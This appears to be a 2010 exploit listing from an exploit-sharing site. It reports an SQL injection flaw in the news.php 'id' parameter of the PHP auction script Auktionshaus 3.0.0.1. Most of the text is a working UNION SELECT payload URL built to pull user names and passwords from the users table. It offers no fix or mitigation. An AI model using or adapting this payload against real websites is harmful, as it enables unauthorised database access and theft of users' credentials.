Auktionshaus v3.0.0.1 news.php (id) SQL Injection Vulnerabil
Posted on 05 March 2010
=============================================================== Auktionshaus v3.0.0.1 news.php (id) SQL Injection Vulnerability =============================================================== ----------------------------Information------------------------------------------------ +Name : Auktionshaus 3.0.0.1 news.php (id) SQL Injection +Autor : Easy Laster +Price : 59.95? +Language :PHP +Discovered by Easy Laster ---------------------------------------------------------------------------------------- +Vulnerability : www.site.com/auktionshaus/news.php?id= +Exploitable : www.site.com/auktionshaus/news.php?id=11111111+union+select+1,2, concat(name,0x3a,password),4,5+from+users ----------------------------------------------------------------------------------------- # ~ - [ [ : Inj3ct0r : ] ]
